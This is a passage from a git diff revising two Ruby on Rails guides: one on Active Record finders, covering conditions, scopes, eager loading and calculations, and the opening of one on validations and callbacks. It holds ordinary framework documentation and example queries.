-SELECT * FROM +users+ WHERE (created_at IN +SELECT * FROM users WHERE (created_at IN ('2007-12-31','2008-01-01','2008-01-02','2008-01-03','2008-01-04','2008-01-05', '2008-01-06','2008-01-07','2008-01-08','2008-01-09','2008-01-10','2008-01-11', '2008-01-12','2008-01-13','2008-01-14','2008-01-15','2008-01-16','2008-01-17', '2008-01-18','2008-01-19','2008-01-20','2008-01-21','2008-01-22','2008-01-23',... ‘2008-12-15','2008-12-16','2008-12-17','2008-12-18','2008-12-19','2008-12-20', '2008-12-21','2008-12-22','2008-12-23','2008-12-24','2008-12-25','2008-12-26', - '2008-12-27','2008-12-28','2008-12-29','2008-12-30','2008-12-31')) + '2008-12-27','2008-12-28','2008-12-29','2008-12-30','2008-12-31')) ------------------------------------------------------- -Things can get *really* messy if you pass in time objects as it will attempt to compare your field to *every second* in that range: +Things can get *really* messy if you pass in Time objects as it will attempt to compare your field to *every second* in that range: [source, ruby] ------------------------------------------------------- -Client.all(:conditions => ["created_at IN (?)", +Client.all(:conditions => ["created_at IN (?)", (params[:start_date].to_date.to_time)..(params[:end_date].to_date.to_time)]) ------------------------------------------------------- [source, sql] ------------------------------------------------------- -SELECT * FROM +users+ WHERE (created_at IN - ('2007-12-01 00:00:00', '2007-12-01 00:00:01' ... +SELECT * FROM users WHERE (created_at IN + ('2007-12-01 00:00:00', '2007-12-01 00:00:01' ... '2007-12-01 23:59:59', '2007-12-02 00:00:00')) ------------------------------------------------------- @@ -200,7 +220,7 @@ In this example it would be better to use greater-than and less-than operators i [source, ruby] ------------------------------------------------------- -Client.all(:conditions => +Client.all(:conditions => ["created_at > ? AND created_at < ?", params[:start_date], params[:end_date]]) ------------------------------------------------------- @@ -208,31 +228,103 @@ You can also use the greater-than-or-equal-to and less-than-or-equal-to like thi [source, ruby] ------------------------------------------------------- -Client.all(:conditions => +Client.all(:conditions => ["created_at >= ? AND created_at <= ?", params[:start_date], params[:end_date]]) ------------------------------------------------------- -Just like in Ruby. +Just like in Ruby. If you want a shorter syntax be sure to check out the <<_hash_conditions, Hash Conditions>> section later on in the guide. -=== Hash Conditions === +=== Placeholder Conditions === Similar to the array style of params you can also specify keys in your conditions: [source, ruby] ------------------------------------------------------- -Client.all(:conditions => +Client.all(:conditions => ["created_at >= :start_date AND created_at <= :end_date", { :start_date => params[:start_date], :end_date => params[:end_date] }]) ------------------------------------------------------- This makes for clearer readability if you have a large number of variable conditions. +=== Hash Conditions + +Rails also allows you to pass in a hash conditions which can increase the readability of your conditions syntax. With hash conditions, you pass in a hash with keys of the fields you want conditionalised and the values of how you want to conditionalise them: + +[source, ruby] +------------------------------------------------------- +Client.all(:conditions => { :locked => true }) +------------------------------------------------------- + +The field name does not have to be a symbol it can also be a string: + +[source, ruby] +------------------------------------------------------- +Client.all(:conditions => { 'locked' => true }) +------------------------------------------------------- + +The good thing about this is that we can pass in a range for our fields without it generating a large query as shown in the preamble of this section. + +[source, ruby] +------------------------------------------------------- +Client.all(:conditions => { :created_at => (Time.now.midnight - 1.day)..Time.now.midnight}) +------------------------------------------------------- + +This will find all clients created yesterday by using a BETWEEN sql statement: + +[source, sql] +------------------------------------------------------- +SELECT * FROM `clients` WHERE (`clients`.`created_at` BETWEEN '2008-12-21 00:00:00' AND '2008-12-22 00:00:00') +------------------------------------------------------- + +This demonstrates a shorter syntax for the examples in <<_array_conditions, Array Conditions>> + +You can also join in tables and specify their columns in the hash: + +[source, ruby] +------------------------------------------------------- +Client.all(:include => "orders", :conditions => { 'orders.created_at' => (Time.now.midnight - 1.day)..Time.now.midnight }) +------------------------------------------------------- + +An alternative and cleaner syntax to this is: + +[source, ruby] +------------------------------------------------------- +Client.all(:include => "orders", :conditions => { :orders => { :created_at => (Time.now.midnight - 1.day)..Time.now.midnight } }) +------------------------------------------------------- + +This will find all clients who have orders that were created yesterday, again using a BETWEEN expression. + +If you want to find records using the IN expression you can pass an array to the conditions hash: + +[source, ruby] +------------------------------------------------------- +Client.all(:include => "orders", :conditions => { :orders_count => [1,3,5] } +------------------------------------------------------- + +This code will generate SQL like this: + +[source, sql] +------------------------------------------------------- +SELECT * FROM `clients` WHERE (`clients`.`orders_count` IN (1,2,3)) +------------------------------------------------------- + == Ordering -If you're getting a set of records and want to force an order, you can use +Client.all(:order => "created_at")+ which by default will sort the records by ascending order. If you'd like to order it in descending order, just tell it to do that using +Client.all(:order => "created_at desc")+ +If you're getting a set of records and want to order them in ascending order by the +created_at+ field in your table, you can use +Client.all(:order => "created_at")+. If you'd like to order it in descending order, just tell it to do that using +Client.all(:order => "created_at desc")+. The value for this option is passed in as sanitized SQL and allows you to sort via multiple fields: +Client.all(:order => "created_at desc, orders_count asc")+. == Selecting Certain Fields -To select certain fields, you can use the select option like this: +Client.first(:select => "viewable_by, locked")+. This select option does not use an array of fields, but rather requires you to type SQL-like code. The above code will execute +SELECT viewable_by, locked FROM clients LIMIT 0,1+ on your database. +To select certain fields, you can use the select option like this: +Client.first(:select => "viewable_by, locked")+. This select option does not use an array of fields, but rather requires you to type SQL-like code. The above code will execute +SELECT viewable_by, locked FROM clients LIMIT 1+ on your database. + +Be careful because this also means you're initializing a model object with only the fields that you've selected. If you attempt to access a field that is not in the initialized record you'll receive: + +------------------------------------------------------- +ActiveRecord::MissingAttributeError: missing attribute: +------------------------------------------------------- + +Where is the atrribute you asked for. The +id+ method will not raise the +ActiveRecord::MissingAttributeError+, so just be careful when working with associations because they need the +id+ method to function properly. + +You can also call SQL functions within the select option. For example, if you would like to only grab a single record per unique value in a certain field by using the +DISTINCT+ function you can do it like this: +Client.all(:select => "DISTINCT(name)")+. == Limit & Offset @@ -271,25 +363,38 @@ The group option for find is useful, for example, if you want to find a collecti Order.all(:group => "date(created_at)", :order => "created_at") ------------------------------------------------------- -And this will give you a single +Order+ object for each date where there are orders in the database. +And this will give you a single +Order+ object for each date where there are orders in the database. The SQL that would be executed would be something like this: [source, sql] ------------------------------------------------------- -SELECT * FROM +orders+ GROUP BY date(created_at) +SELECT * FROM orders GROUP BY date(created_at) ------------------------------------------------------- +== Having + +The +:having+ option allows you to specify SQL and acts as a kind of a filter on the group option. +:having+ can only be specified when +:group+ is specified. + +An example of using it would be: + +[source, ruby] +------------------------------------------------------- +Order.all(:group => "date(created_at)", :having => ["created_at > ?", 1.month.ago]) +------------------------------------------------------- + +This will return single order objects for each day, but only for the last month. + == Read Only -Readonly is a find option that you can set in order to make that instance of the record read-only. Any attempt to alter or destroy the record will not succeed, raising an +Active Record::ReadOnlyRecord+ exception. To set this option, specify it like this: ++readonly+ is a +find+ option that you can set in order to make that instance of the record read-only. Any attempt to alter or destroy the record will not succeed, raising an ActiveRecord::ReadOnlyRecord exception. To set this option, specify it like this: [source, ruby] ------------------------------------------------------- Client.first(:readonly => true) ------------------------------------------------------- -If you assign this record to a variable +client+, calling the following code will raise an +ActiveRecord::ReadOnlyRecord+ exception: +If you assign this record to a variable client, calling the following code will raise an ActiveRecord::ReadOnlyRecord exception: [source, ruby] ------------------------------------------------------- @@ -310,31 +415,42 @@ Topic.transaction do end ------------------------------------------------------- +You can also pass SQL to this option to allow different types of locks. For example, MySQL has an expression called LOCK IN SHARE MODE where you can lock a record but still allow other queries to read it. To specify this expression just pass it in as the lock option: + +[source, ruby] +------------------------------------------------------- +Topic.transaction do + t = Topic.find(params[:id], :lock => "LOCK IN SHARE MODE") + t.increment!(:views) +end +------------------------------------------------------- + == Making It All Work Together -You can chain these options together in no particular order as Active Record will write the correct SQL for you. If you specify two instances of the same options inside the find statement Active Record will use the latter. +You can chain these options together in no particular order as Active Record will write the correct SQL for you. If you specify two instances of the same options inside the +find+ method Active Record will use the last one you specified. This is because the options passed to find are a hash and defining the same key twice in a hash will result in the last definition being used. == Eager Loading -Eager loading is loading associated records along with any number of records in as few queries as possible. For example, if you wanted to load all the addresses associated with all the clients in a single query you could use +Client.all(:include => :address)+. If you wanted to include both the address and mailing address for the client you would use +Client.find(:all, :include => [:address, :mailing_address]). Include will first find the client records and then load the associated address records. Running script/server in one window, and executing the code through script/console in another window, the output should look similar to this: +Eager loading is loading associated records along with any number of records in as few queries as possible. For example, if you wanted to load all the addresses associated with all the clients in a single query you could use +Client.all(:include => :address)+. If you wanted to include both the address and mailing address for the client you would use +Client.find(:all, :include => [:address, :mailing_address])+. Include will first find the client records and then load the associated address records. Running script/server in one window, and executing the code through script/console in another window, the output should look similar to this: [source, sql] ------------------------------------------------------- -Client Load (0.000383) SELECT * FROM clients -Address Load (0.119770) SELECT addresses.* FROM addresses - WHERE (addresses.client_id IN (13,14)) -MailingAddress Load (0.001985) SELECT mailing_addresses.* FROM +Client Load (0.000383) SELECT * FROM clients +Address Load (0.119770) SELECT addresses.* FROM addresses + WHERE (addresses.client_id IN (13,14)) +MailingAddress Load (0.001985) SELECT mailing_addresses.* FROM mailing_addresses WHERE (mailing_addresses.client_id IN (13,14)) ------------------------------------------------------- -The numbers +13+ and +14+ in the above SQL are the ids of the clients gathered from the +Client.all+ query. Rails will then run a query to gather all the addresses and mailing addresses that have a client_id of 13 or 14. Although this is done in 3 queries, this is more efficient than not eager loading because without eager loading it would run a query for every time you called +address+ or +mailing_address+ on one of the objects in the clients array, which may lead to performance issues if you're loading a large number of records at once. +The numbers +13+ and +14+ in the above SQL are the ids of the clients gathered from the +Client.all+ query. Rails will then run a query to gather all the addresses and mailing addresses that have a client_id of 13 or 14. Although this is done in 3 queries, this is more efficient than not eager loading because without eager loading it would run a query for every time you called +address+ or +mailing_address+ on one of the objects in the clients array, which may lead to performance issues if you're loading a large number of records at once and is often called the "N+1 query problem". The problem is that the more queries your server has to execute, the slower it will run. -If you wanted to get all the addresses for a client in the same query you would do +Client.all(:joins => :address)+ and you wanted to find the address and mailing address for that client you would do +Client.all(:joins => [:address, :mailing_address])+. This is more efficient because it does all the SQL in one query, as shown by this example: +If you wanted to get all the addresses for a client in the same query you would do +Client.all(:joins => :address)+. +If you wanted to find the address and mailing address for that client you would do +Client.all(:joins => [:address, :mailing_address])+. This is more efficient because it does all the SQL in one query, as shown by this example: [source, sql] ------------------------------------------------------- -+Client Load (0.000455) SELECT clients.* FROM clients INNER JOIN addresses - ON addresses.client_id = client.id INNER JOIN mailing_addresses ON ++Client Load (0.000455) SELECT clients.* FROM clients INNER JOIN addresses + ON addresses.client_id = client.id INNER JOIN mailing_addresses ON mailing_addresses.client_id = client.id ------------------------------------------------------- @@ -351,37 +467,45 @@ When using eager loading you can specify conditions for the columns of the table [source, ruby] ------------------------------------------------------- -Client.first(:include => "orders", :conditions => - ["orders.created_at >= ? AND orders.created_at <= ?", Time.now - 2.weeks, Time.now]) +Client.first(:include => "orders", :conditions => + ["orders.created_at >= ? AND orders.created_at <= ?", 2.weeks.ago, Time.now]) ------------------------------------------------------- == Dynamic finders -For every field (also known as an attribute) you define in your table, Active Record provides a finder method. If you have a field called +name+ on your Client model for example, you get +find_by_name+ and +find_all_by_name+ for free from Active Record. If you have also have a +locked+ field on the client model, you also get +find_by_locked+ and +find_all_by_locked+. If you want to find both by name and locked, you can chain these finders together by simply typing +and+ between the fields for example +Client.find_by_name_and_locked('Ryan', true)+. These finders are an excellent alternative to using the conditions option, mainly because it's shorter to type +find_by_name(params[:name])+ than it is to type +first(:conditions => ["name = ?", params[:name]])+. +For every field (also known as an attribute) you define in your table, Active Record provides a finder method. If you have a field called +name+ on your Client model for example, you get +find_by_name+ and +find_all_by_name+ for free from Active Record. If you have also have a +locked+ field on the Client model, you also get +find_by_locked+ and +find_all_by_locked+. -There's another set of dynamic finders that let you find or create/initialize objects if they aren't find. These work in a similar fashion to the other finders and can be used like +find_or_create_by_name(params[:name])+. Using this will firstly perform a find and then create if the find returns nil. The SQL looks like this for +Client.find_or_create_by_name('Ryan')+: +You can do +find_last_by_*+ methods too which will find the last record matching your argument. + +You can specify an exclamation point (!) on the end of the dynamic finders to get them to raise an ActiveRecord::RecordNotFound error if they do not return any records, like +Client.find_by_name!("Ryan")+ + +If you want to find both by name and locked, you can chain these finders together by simply typing +and+ between the fields for example +Client.find_by_name_and_locked("Ryan", true)+. + + +There's another set of dynamic finders that let you find or create/initialize objects if they aren't found. These work in a similar fashion to the other finders and can be used like +find_or_create_by_name(params[:name])+. Using this will firstly perform a find and then create if the find returns nil. The SQL looks like this for +Client.find_or_create_by_name("Ryan")+: [source,sql] ------------------------------------------------------- -SELECT * FROM +clients+ WHERE (+clients+.+name+ = 'Ryan') LIMIT 1 +SELECT * FROM clients WHERE (clients.name = 'Ryan') LIMIT 1 BEGIN -INSERT INTO +clients+ (+name+, +updated_at+, +created_at+, +orders_count+, +locked+) - VALUES('Ryan', '2008-09-28 15:39:12', '2008-09-28 15:39:12', '0', '0') +INSERT INTO clients (name, updated_at, created_at, orders_count, locked) + VALUES('Ryan', '2008-09-28 15:39:12', '2008-09-28 15:39:12', 0, '0') COMMIT ------------------------------------------------------- -+find_or_create+'s sibling, +find_or_initialize+, will find an object and if it does not exist will call +new+ with the parameters you passed in. For example: ++find_or_create+'s sibling, +find_or_initialize+, will find an object and if it does not exist will act similar to calling +new+ with the arguments you passed in. For example: [source, ruby] ------------------------------------------------------- client = Client.find_or_initialize_by_name('Ryan') ------------------------------------------------------- -will either assign an existing client object with the name 'Ryan' to the client local variable, or initialize new object similar to calling +Client.new(:name => 'Ryan')+. From here, you can modify other fields in client by calling the attribute setters on it: +client.locked = true+ and when you want to write it to the database just call +save+ on it. +will either assign an existing client object with the name 'Ryan' to the client local variable, or initialize a new object similar to calling +Client.new(:name => 'Ryan')+. From here, you can modify other fields in client by calling the attribute setters on it: +client.locked = true+ and when you want to write it to the database just call +save+ on it. + == Finding By SQL -If you'd like to use your own SQL to find records a table you can use +find_by_sql+. The +find_by_sql+ method will return an array of objects even if it only returns a single record in it's call to the database. For example you could run this query: +If you'd like to use your own SQL to find records in a table you can use +find_by_sql+. The +find_by_sql+ method will return an array of objects even the underlying query returns just a single record. For example you could run this query: [source, ruby] ------------------------------------------------------- @@ -401,7 +525,7 @@ Client.connection.select_all("SELECT * FROM `clients` WHERE `id` = '1'") == Working with Associations -When you define a has_many association on a model you get the find method and dynamic finders also on that association. This is helpful for finding associated records within the scope of an existing record, for example finding all the orders for a client that have been sent and not received by doing something like +Client.find(params[:id]).orders.find_by_sent_and_received(true, false)+. Having this find method available on associations is extremely helpful when using nested controllers. +When you define a has_many association on a model you get the +find+ method and dynamic finders also on that association. This is helpful for finding associated records within the scope of an existing record, for example finding all the orders for a client that have been sent and not received by doing something like +Client.find(params[:id]).orders.find_by_sent_and_received(true, false)+. Having this find method available on associations is extremely helpful when using nested resources. == Named Scopes @@ -409,7 +533,7 @@ Named scopes are another way to add custom finding behavior to the models in the === Simple Named Scopes -Suppose want to find all clients who are male. You could use this code: +Suppose we want to find all clients who are male. You could use this code: [source, ruby] ------------------------------------------------------- @@ -429,7 +553,7 @@ class Client < ActiveRecord::Base end ------------------------------------------------------- -You can call this new named_scope with +Client.active.all+ and this will do the same query as if we just used +Client.all(:conditions => ["active = ?", true])+. Please be aware that the conditions syntax in named_scope and find is different and the two are not interchangeable. If you want to find the first client within this named scope you could do +Client.active.first+. +You can call this new named_scope with +Client.active.all+ and this will do the same query as if we just used +Client.all(:conditions => ["active = ?", true])+. If you want to find the first client within this named scope you could do +Client.active.first+. === Combining Named Scopes @@ -458,25 +582,25 @@ class Client < ActiveRecord::Base end ------------------------------------------------------- -This looks like a standard named scope that defines a method called recent which gathers all records created any time between now and 2 weeks ago. That's correct for the first time the model is loaded but for any time after that, +2.weeks.ago+ is set to that same value, so you will consistently get records from a certain date until your model is reloaded by something like your application restarting. The way to fix this is to put the code in a lambda block: +This looks like a standard named scope that defines a method called +recent+ which gathers all records created any time between now and 2 weeks ago. That's correct for the first time the model is loaded but for any time after that, +2.weeks.ago+ is set to that same value, so you will consistently get records from a certain date until your model is reloaded by something like your application restarting. The way to fix this is to put the code in a lambda block: [source, ruby] ------------------------------------------------------- class Client < ActiveRecord::Base - named_scope :recent, lambda { { :conditions => ["created_at > ?", 2.weeks.ago] } } + named_scope :recent, lambda { { :conditions => ["created_at > ?", 2.weeks.ago] } } end ------------------------------------------------------- -And now every time the recent named scope is called, the code in the lambda block will be parsed, so you'll get actually 2 weeks ago from the code execution, not 2 weeks ago from the time the model was loaded. +And now every time the +recent+ named scope is called, the code in the lambda block will be executed, so you'll get actually 2 weeks ago from the code execution, not 2 weeks ago from the time the model was loaded. === Named Scopes with Multiple Models -In a named scope you can use +:include+ and +:joins+ options just like in find. +In a named scope you can use +:include+ and +:joins+ options just like in +find+. [source, ruby] ------------------------------------------------------- class Client < ActiveRecord::Base - named_scope :active_within_2_weeks, :joins => :order, + named_scope :active_within_2_weeks, :joins => :order, lambda { { :conditions => ["orders.created_at > ?", 2.weeks.ago] } } end ------------------------------------------------------- @@ -485,16 +609,16 @@ This method, called as +Client.active_within_2_weeks.all+, will return all clien === Arguments to Named Scopes -If you want to pass a named scope a compulsory argument, just specify it as a block parameter like this: +If you want to pass to a named scope a required arugment, just specify it as a block argument like this: [source, ruby] ------------------------------------------------------- class Client < ActiveRecord::Base - named_scope :recent, lambda { |time| { :conditions => ["created_at > ?", time] } } + named_scope :recent, lambda { |time| { :conditions => ["created_at > ?", time] } } end ------------------------------------------------------- -This will work if you call +Client.recent(2.weeks.ago).all+ but not if you call +Client.recent+. If you want to add an optional argument for this, you have to use the splat operator as the block's parameter. +This will work if you call +Client.recent(2.weeks.ago).all+ but not if you call +Client.recent+. If you want to add an optional argument for this, you have to use prefix the arugment with an *. [source, ruby] ------------------------------------------------------- @@ -531,14 +655,14 @@ Just like named scopes, anonymous scopes can be stacked, either with other anony == Existence of Objects -If you simply want to check for the existence of the object there's a method called +exists?+. This method will query the database using the same query as find, but instead of returning an object or collection of objects it will return either true or false. +If you simply want to check for the existence of the object there's a method called +exists?+. This method will query the database using the same query as +find+, but instead of returning an object or collection of objects it will return either +true+ or false+. [source, ruby] ------------------------------------------------------- Client.exists?(1) ------------------------------------------------------- -The above code will check for the existence of a clients table record with the id of 1 and return true if it exists. +The +exists?+ method also takes multiple ids, but the catch is that it will return true if any one of those records exists. [source, ruby] ------------------------------------------------------- @@ -547,8 +671,6 @@ Client.exists?(1,2,3) Client.exists?([1,2,3]) ------------------------------------------------------- -The +exists?+ method also takes multiple ids, as shown by the above code, but the catch is that it will return true if any one of those records exists. - Further more, +exists+ takes a +conditions+ option much like find: [source, ruby] @@ -571,10 +693,10 @@ Which will execute: [source, sql] ------------------------------------------------------- -SELECT count(*) AS count_all FROM +clients+ WHERE (first_name = 1) +SELECT count(*) AS count_all FROM clients WHERE (first_name = 'Ryan') ------------------------------------------------------- -You can also use +include+ or +joins+ for this to do something a little more complex: +You can also use +:include+ or +:joins+ for this to do something a little more complex: [source, ruby] ------------------------------------------------------- @@ -585,9 +707,9 @@ Which will execute: [source, sql] ------------------------------------------------------- -SELECT count(DISTINCT +clients+.id) AS count_all FROM +clients+ - LEFT OUTER JOIN +orders+ ON orders.client_id = client.id WHERE - (clients.first_name = 'name' AND orders.status = 'received') +SELECT count(DISTINCT clients.id) AS count_all FROM clients + LEFT OUTER JOIN orders ON orders.client_id = client.id WHERE + (clients.first_name = 'Ryan' AND orders.status = 'received') ------------------------------------------------------- This code specifies +clients.first_name+ just in case one of the join tables has a field also called +first_name+ and it uses +orders.status+ because that's the name of our join table. @@ -597,7 +719,7 @@ This code specifies +clients.first_name+ just in case one of the join tables has If you want to see how many records are in your model's table you could call +Client.count+ and that will return the number. If you want to be more specific and find all the clients with their age present in the database you can use +Client.count(:age)+. -For options, please see the parent section, Calculations. +For options, please see the parent section, <<_calculations, Calculations>>. === Average @@ -610,7 +732,7 @@ Client.average("orders_count") This will return a number (possibly a floating point number such as 3.14159265) representing the average value in the field. -For options, please see the parent section, <<_calculations, Calculations>> +For options, please see the parent section, <<_calculations, Calculations>>. === Minimum @@ -645,24 +767,8 @@ Client.sum("orders_count") For options, please see the parent section, <<_calculations, Calculations>> -== Credits - -Thanks to Ryan Bates for his awesome screencast on named scope #108. The information within the named scope section is intentionally similar to it, and without the cast may have not been possible. - -Thanks to Mike Gunderloy for his tips on creating this guide. - == Changelog http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/16[Lighthouse ticket] -* November 8, 2008: Editing pass by link:../authors.html#mgunderloy[Mike Gunderloy] . First release version. -* October 27, 2008: Added scoped section, added named params for conditions and added sub-section headers for conditions section by Ryan Bigg -* October 27, 2008: Fixed up all points specified in http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/16-activerecord-finders#ticket-16-6[this comment] with an exception of the final point by Ryan Bigg -* October 26, 2008: Editing pass by link:../authors.html#mgunderloy[Mike Gunderloy] . First release version. -* October 22, 2008: Calculations complete, first complete draft by Ryan Bigg -* October 21, 2008: Extended named scope section by Ryan Bigg -* October 9, 2008: Lock, count, cleanup by Ryan Bigg -* October 6, 2008: Eager loading by Ryan Bigg -* October 5, 2008: Covered conditions by Ryan Bigg -* October 1, 2008: Covered limit/offset, formatting changes by Ryan Bigg -* September 28, 2008: Covered first/last/all by Ryan Bigg +* December 29 2008: Initial version by Ryan Bigg \ No newline at end of file diff --git a/vendor/rails/railties/doc/guides/source/activerecord_validations_callbacks.txt b/vendor/rails/railties/doc/guides/source/activerecord_validations_callbacks.txt index fd6eb86b..8bfb69ea 100644 --- a/vendor/rails/railties/doc/guides/source/activerecord_validations_callbacks.txt +++ b/vendor/rails/railties/doc/guides/source/activerecord_validations_callbacks.txt @@ -1,32 +1,34 @@ Active Record Validations and Callbacks ======================================= -This guide teaches you how to work with the lifecycle of your Active Record objects. More precisely, you will learn how to validate the state of your objects before they go into the database and also how to teach them to perform custom operations at certain points of their lifecycles. +This guide teaches you how to hook into the lifecycle of your Active Record objects. More precisely, you will learn how to validate the state of your objects before they go into the database as well as how to perform custom operations at certain points in the object lifecycle. After reading this guide and trying out the presented concepts, we hope that you'll be able to: -* Correctly use all the built-in Active Record validation helpers +* Use the built-in Active Record validation helpers * Create your own custom validation methods -* Work with the error messages generated by the validation proccess -* Register callback methods that will execute custom operations during your objects lifecycle, for example before/after they are saved. -* Create special classes that encapsulate common behaviour for your callbacks -* Create Observers - classes with callback methods specific for each of your models, keeping the callback code outside your models' declarations. +* Work with the error messages generated by the validation process +* Create callback methods to respond to events in the object lifecycle. +* Create special classes that encapsulate common behavior for your callbacks +* Create Rails Observers -== Motivations to validate your Active Record objects +== Overview of ActiveRecord Validation + +Before you dive into the detail of validations in Rails, you should understand a bit about how validations fit into the big picture. Why should you use validations? When do these validations take place? + +=== Why Use ActiveRecord Validations? The main reason for validating your objects before they get into the database is to ensure that only valid data is recorded. It's important to be sure that an email address column only contains valid email addresses, or that the customer's name column will never be empty. Constraints like that keep your database organized and helps your application to work properly. -There are several ways to validate the data that goes to the database, like using database native constraints, implementing validations only at the client side or implementing them directly into your models. Each one has pros and cons: +There are several ways that you could validate the data that goes to the database, including native database constraints, client-side validations, and model-level validations. Each of these has pros and cons: -* Using database constraints and/or stored procedures makes the validation mechanisms database-dependent and may turn your application into a hard to test and mantain beast. However, if your database is used by other applications, it may be a good idea to use some constraints also at the database level. -* Implementing validations only at the client side can be problematic, specially with web-based applications. Usually this kind of validation is done using javascript, which may be turned off in the user's browser, leading to invalid data getting inside your database. However, if combined with server side validation, client side validation may be useful, since the user can have a faster feedback from the application when trying to save invalid data. -* Using validation directly into your Active Record classes ensures that only valid data gets recorded, while still keeping the validation code in the right place, avoiding breaking the MVC pattern. Since the validation happens on the server side, the user cannot disable it, so it's also safer. It may be a hard and tedious work to implement some of the logic involved in your models' validations, but fear not: Active Record gives you the hability to easily create validations, using several built-in helpers while still allowing you to create your own validation methods. +* Using database constraints and/or stored procedures makes the validation mechanisms database-dependent and may turn your application into a hard to test and maintain beast. However, if your database is used by other applications, it may be a good idea to use some constraints also at the database level. Additionally, database-level validations can safely handle some things (such as uniqueness in heavily-used tables) that are problematic to implement from the application level. +* Implementing validations only at the client side can be difficult in web-based applications. Usually this kind of validation is done using javascript, which may be turned off in the user's browser, leading to invalid data getting inside your database. However, if combined with server side validation, client side validation may be useful, since the user can have a faster feedback from the application when trying to save invalid data. +* Using validation directly in your Active Record classes ensures that only valid data gets recorded, while still keeping the validation code in the right place, avoiding breaking the MVC pattern. Since the validation happens on the server side, the user cannot disable it, so it's also safer. It may be a hard and tedious work to implement some of the logic involved in your models' validations, but fear not: Active Record gives you the ability to easily create validations, providing built-in helpers for common validations while still allowing you to create your own validation methods. -== How it works +=== When Does Validation Happen? -=== When does validation happens? - -There are two kinds of Active Record objects: those that correspond to a row inside your database and those who do not. When you create a fresh object, using the +new+ method, that object does not belong to the database yet. Once you call +save+ upon that object it'll be recorded to it's table. Active Record uses the +new_record?+ instance method to discover if an object is already in the database or not. Consider the following simple and very creative Active Record class: +There are two kinds of Active Record objects: those that correspond to a row inside your database and those that do not. When you create a fresh object, using the +new+ method, that object does not belong to the database yet. Once you call +save+ upon that object it will be saved into the appropriate database table. Active Record uses the +new_record?+ instance method to determine whether an object is already in the database or not. Consider the following simple Active Record class: [source, ruby] ------------------------------------------------------------------ @@ -34,7 +36,7 @@ class Person < ActiveRecord::Base end ------------------------------------------------------------------ -We can see how it works by looking at the following script/console output: +We can see how it works by looking at some script/console output: ------------------------------------------------------------------ >> p = Person.new(:name => "John Doe", :birthdate => Date.parse("09/03/1979")) @@ -47,23 +49,25 @@ We can see how it works by looking at the following script/console output: => false ------------------------------------------------------------------ -Saving new records means sending an SQL insert operation to the database, while saving existing records (by calling either +save+, +update_attribute+ or +update_attributes+) will result in a SQL update operation. Active Record will use this facts to perform validations upon your objects, avoiding then to be recorded to the database if their inner state is invalid in some way. You can specify validations that will be beformed every time a object is saved, just when you're creating a new record or when you're updating an existing one. +Saving new records means sending an SQL +INSERT+ operation to the database, while saving existing records (by calling either +save+ or +update_attributes+) will result in a SQL +UPDATE+ operation. Active Record will use these facts to perform validations upon your objects, keeping them out of the database if their inner state is invalid in some way. You can specify validations that will be beformed every time a object is saved, just when you're creating a new record or when you're updating an existing one. -=== The meaning of 'valid' +CAUTION: There are four methods that when called will trigger validation: +save+, +save!+, +update_attributes+ and +update_attributes!+. There is one update method for Active Record objects left, which is +update_attribute+. This method will update the value of an attribute _without_ triggering any validation. Be careful when using +update_attribute+, because it can let you save your objects in an invalid state. -For verifying if an object is valid, Active Record uses the +valid?+ method, which basically looks inside the object to see if it has any validation errors. These errors live in a collection that can be accessed through the +errors+ instance method. The proccess is really simple: If the +errors+ method returns an empty collection, the object is valid and can be saved. Each time a validation fails, an error message is added to the +errors+ collection. +=== The Meaning of +valid+ -== The declarative validation helpers +To verify whether an object is valid, Active Record uses the +valid?+ method, which basically looks inside the object to see if it has any validation errors. These errors live in a collection that can be accessed through the +errors+ instance method. The process is really simple: If the +errors+ method returns an empty collection, the object is valid and can be saved. Each time a validation fails, an error message is added to the +errors+ collection. -Active Record offers many pre-defined validation helpers that you can use directly inside your class definitions. These helpers create validations rules that are commonly used in most of the applications that you'll write, so you don't need to recreate it everytime, avoiding code duplication, keeping everything organized and boosting your productivity. Everytime a validation fails, an error message is added to the object's +errors+ collection, this message being associated with the field being validated. +== The Declarative Validation Helpers -Each helper accepts an arbitrary number of attributes, received as symbols, so with a single line of code you can add the same kind of validation to several attributes. +Active Record offers many pre-defined validation helpers that you can use directly inside your class definitions. These helpers create validation rules that are commonly used. Every time a validation fails, an error message is added to the object's +errors+ collection, and this message is associated with the field being validated. -All these helpers accept the +:on+ and +:message+ options, which define when the validation should be applied and what message should be added to the +errors+ collection when it fails, respectively. The +:on+ option takes one the values +:save+ (it's the default), +:create+ or +:update+. There is a default error message for each one of the validation helpers. These messages are used when the +:message+ option isn't used. Let's take a look at each one of the available helpers, listed in alphabetic order. +Each helper accepts an arbitrary number of attributes identified by symbols, so with a single line of code you can add the same kind of validation to several attributes. + +All these helpers accept the +:on+ and +:message+ options, which define when the validation should be applied and what message should be added to the +errors+ collection when it fails, respectively. The +:on+ option takes one of the values +:save+ (the default), +:create+ or +:update+. There is a default error message for each one of the validation helpers. These messages are used when the +:message+ option isn't used. Let's take a look at each one of the available helpers. === The +validates_acceptance_of+ helper -Validates that a checkbox has been checked for agreement purposes. It's normally used when the user needs to agree with your application's terms of service, confirm reading some clauses or any similar concept. This validation is very specific to web applications and actually this 'acceptance' does not need to be recorded anywhere in your database (if you don't have a field for it, the helper will just create a virtual attribute). +Validates that a checkbox on the user interface was checked when a form was submitted. This is normally used when the user needs to agree to your application's terms of service, confirm reading some text, or any similar concept. This validation is very specific to web applications and actually this 'acceptance' does not need to be recorded anywhere in your database (if you don't have a field for it, the helper will just create a virtual attribute). [source, ruby] ------------------------------------------------------------------ @@ -74,7 +78,7 @@ end The default error message for +validates_acceptance_of+ is "_must be accepted_" -+validates_acceptance_of+ can receive an +:accept+ option, which determines the value that will be considered acceptance. It defaults to "1", but you can change it. ++validates_acceptance_of+ can receive an +:accept+ option, which determines the value that will be considered acceptance. It defaults to "1", but you can change this. [source, ruby] ------------------------------------------------------------------ @@ -83,7 +87,6 @@ class Person < ActiveRecord::Base end ------------------------------------------------------------------ - === The +validates_associated+ helper You should use this helper when your model has associations with other models and they also need to be validated. When you try to save your object, +valid?+ will be called upon each one of the associated objects. @@ -98,13 +101,13 @@ end This validation will work with all the association types. -CAUTION: Pay attention not to use +validates_associated+ on both ends of your associations, because this will lead to several recursive calls and blow up the method calls' stack. +CAUTION: Don't use +validates_associated+ on both ends of your associations, because this will lead to several recursive calls and blow up the method calls' stack. -The default error message for +validates_associated+ is "_is invalid_". Note that the errors for each failed validation in the associated objects will be set there and not in this model. +The default error message for +validates_associated+ is "_is invalid_". Note that each associated object will contain its 